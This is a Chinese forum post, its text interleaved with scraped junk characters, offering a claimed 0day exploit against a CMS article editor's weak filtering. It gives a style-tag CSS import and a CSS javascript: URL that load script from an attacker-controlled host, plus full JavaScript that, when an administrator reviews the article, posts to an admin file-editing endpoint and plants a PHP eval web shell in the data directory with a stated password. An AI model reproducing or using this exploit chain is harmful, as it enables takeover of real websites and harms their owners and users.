<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell& S3 W, p4 \6 F. ^
为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)
! M q0 W, Q' F r* F4 h/ n) D目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。8 q8 c1 F! p8 g7 a8 F
下面说说利用方法。
# Z4 J+ G7 a8 k% g条件有2个:
+ _) t2 D0 l2 W4 v. C1.开启注册
! Z* w; _: _ A& W5 Q2.开启投稿
1 }/ f$ u$ D+ p) ~$ V注册会员----发表文章6 [: h2 ?# d, e! N
内容填写:: P% P- F0 b/ N& B. i( j
复制代码: B* U/ X, w% B+ v7 p: \' t! O
<style>@im\port'\http://xxx.com/xss.css';</style>
7 i! c. W/ V0 S- o, ?8 D4 d新建XSS.Css) J9 T& M& K+ ]' J. |
复制代码
/ D& q+ W" C) o8 i% M# V |.body{
9 {$ D) r+ Y/ _# ], xbackground-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }. R1 k# r0 ]% P3 P) J# |% P
新建xss.js 内容为
8 i' Z3 ?6 [3 S+ h( @4 R! u复制代码
$ a6 I! i& l* C1 j8 g1.var request = false;+ j8 ^5 Q9 k& Q% |8 F$ y
2.if(window.XMLHttpRequest) {
2 S R7 c) v5 b, U/ X3.request = new XMLHttpRequest();
0 T6 G: |/ C9 v% E6 c% [4.if(request.overrideMimeType) {2 [5 a3 U$ o. y3 { b
5.request.overrideMimeType('text/xml');
: ]1 z( [5 S/ o/ p6.}9 p w P! q o' `$ l4 v6 M
7.} else if(window.ActiveXObject) {
# H' T# c5 x4 C7 s1 [8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
0 i, i6 G. G3 L0 O7 S% y: U+ i9.for(var i=0; i<versions.length; i++) {
' f2 P0 U& J* n4 \$ |( I ]) I. O10.try {7 C9 @+ y6 X5 f7 i- N
11.request = new ActiveXObject(versions);7 Q+ F" u1 P& Y6 Q: k. F t6 P4 t
12.} catch(e) {}1 y$ I2 F4 [8 w1 |& [! H0 B/ n$ d
13.}+ q5 E% j J8 o! B
14.}3 b& q: @+ b2 ]
15.xmlhttp=request;$ p% V6 z& p4 r V- l' P
16.function getFolder( url ){
5 {" E9 P* w' P8 a4 o17. obj = url.split('/')( D- M; S; |3 y' }* h+ p* ^
18. return obj[obj.length-2], r/ t0 `$ g: A a+ m
19.}; m% _' q! _- t; C- ?5 r/ d2 g4 o+ Z
20.oUrl = top.location.href; s; Z# `( q- g6 j
21.u = getFolder(oUrl);
& C0 o( M( t, x) ~5 w3 l7 v( R0 L22.add_admin();" X% }/ \/ c2 u& j( ^$ e
23.function add_admin(){
2 n" t, z& J& |* g' u24.var url= "/"+u+"/sys_sql_query.php";
' ~9 E" D8 Q* j% v' \4 W2 c( U25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";$ a( @+ F! j0 @( r. l, q
26.xmlhttp.open("POST", url, true);
$ i: U' w. S0 a. S" U( K27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
" S- ` W7 Q5 u" g28.xmlhttp.setRequestHeader("Content-length", params.length);
; S9 k7 U- }" | F4 q) c h29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");) [2 A. `7 }, r( u4 _) H6 W
30.xmlhttp.send(params);$ g0 J+ V: } T! |: M
31.}
' C% M, ^! a3 K2 l% X当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd |